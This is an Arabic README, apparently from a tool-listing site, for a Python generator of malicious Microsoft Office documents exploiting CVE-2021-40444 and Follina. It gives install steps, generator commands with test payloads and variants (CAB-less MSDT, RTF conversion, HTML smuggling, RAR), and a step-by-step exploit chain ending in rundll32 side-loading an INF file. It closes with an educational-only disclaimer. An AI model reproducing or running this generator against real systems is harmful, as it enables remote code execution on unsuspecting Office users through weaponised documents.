استغلال ثغرات Follina CVE و CVE-2021-40444

جدول المحتويات

1. مقدمة
2. المتطلبات الأساسية
3. الإعداد والتثبيت
4. الاستخدام
5. شرح مفصّل
6. الأوامر
7. إخلاء مسؤولية

مقدمة

يحتوي هذا المستودع على سكربتات وموارد لاستغلال ثغرتي Follina CVE و CVE-2021-40444 في Microsoft Office. تقوم السكربتات بتوليد ملفات مستندات خبيثة يمكنها تنفيذ أكواد تعسفية على النظام الهدف.

المتطلبات الأساسية

• Flare VM
• Python 3.x
• Microsoft Word
• حزم Python المطلوبة (مذكورة في requirements.txt)

الإعداد والتثبيت

1. إعداد Flare VM:

   • تأكد من تثبيت Flare VM. بيانات الدخول للجهاز الافتراضي هي:
     • اسم المستخدم: lab
     • كلمة المرور: password

2. Python والبيئة الافتراضية:

   root@kitploit:~

   git clone https://github.com/basim-ahmad/Follina-CVE-and-CVE-2021-40444.git
   cd CVE-2021-40444
   

   • تأكد من تثبيت Python و pip في الجهاز الافتراضي.
   • ثبّت حزمة virtualenv باستخدام الأمر التالي:
     root@kitploit:~

     pip install virtualenv
     

   • أنشئ بيئة افتراضية باسم venv:
     root@kitploit:~

     python -m virtualenv venv
     

   • فعّل البيئة الافتراضية:
     root@kitploit:~

     venv\Scripts\activate.bat
     

   • ثبّت الحزم المطلوبة:
     root@kitploit:~

     pip install -r requirements.txt
     

الاستخدام

1. توليد الاستغلال:

   • انتقل إلى دليل المشروع وشغّل الأمر التالي لتوليد الاستغلال:
     root@kitploit:~

     python generator.py -u http://192.168.197.132 -P test\calc.dll --host
     

     استبدل 192.168.197.132 بعنوان IP الخاص بك.

2. الوصول إلى المستند المُولّد:

   • سيكون ملف .docx المُولّد موجوداً في الدليل:
     root@kitploit:~

     C:\Users\Lab\Desktop\project\CVE-2021-40444\out\document.docx
     

شرح مفصّل

سلسلة الاستغلال

• يتم فتح المستند (.docx).
• يحتوي المستند على علاقة تشير إلى HTML خبيث مخزّن في document.xml.rels.
• يتم فتح رابط HTML في معاينة IE.
• يشير كائن إلى ملف CAB وإلى iframe يشير إلى ملف INF، وكلاهما مضمّن في JScript ومسبوق بالتوجيه ".cpl:".
• يتم فتح ملف CAB، مما يؤدي إلى حفظ ملف INF في دليل %TEMP%Low.
• يتم فتح ملف INF باستخدام التوجيه ".cpl:"، مما يؤدي إلى قيام rundll32 بتحميل ملف INF جانبياً.

نظرة عامة على السكربتات

generator.py

• يطبّق استغلالاً لثغرة CVE-2021-40444، مما يسمح بتنفيذ الأكواد عن بُعد عبر Microsoft Office.
• يحتوي على دوال مساعدة متنوعة لتصحيح ملفات CAB، وإنشاء ملفات RAR، وتوليد الحمولات، والمزيد.

cab_parser.py

• أداة لعرض ترويسات ملفات CAB.
• يعرّف فئات وطرقاً للتعامل مع ملفات CAB وتحليلها.

القسم 2.0: الإعداد في Flare VM

• تثبيت الأدوات والحزم اللازمة.
• إنشاء بيئة افتراضية وتفعيلها.
• تثبيت حزم Python من requirements.txt.

الأوامر

• توليد الاستغلال الأصلي واختباره محلياً:
  root@kitploit:~

  python generator.py -u http://127.0.0.1 -P test\calc.dll --host
  

• توليد استغلال بدون CAB يعتمد على MS-MSDT (هجوم Follina)، في مستندي DOCX و RTF:
  root@kitploit:~

  python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert
  

• توليد استغلال بدون CAB (خاص بـ IE فقط) مع تهريب HTML واختباره محلياً عبر IE:
  root@kitploit:~

  python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
  

• توليد استغلال بدون CAB مع RAR واختباره محلياً عبر IE:
  root@kitploit:~

  python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
  

إخلاء مسؤولية

هذا المشروع لأغراض تعليمية فقط. استخدمه بمسؤولية ولا تستغل الثغرات على أنظمة ليس لديك إذن لاختبارها. يمكن أن يؤدي إساءة استخدام هذه المعلومات إلى تهم جنائية.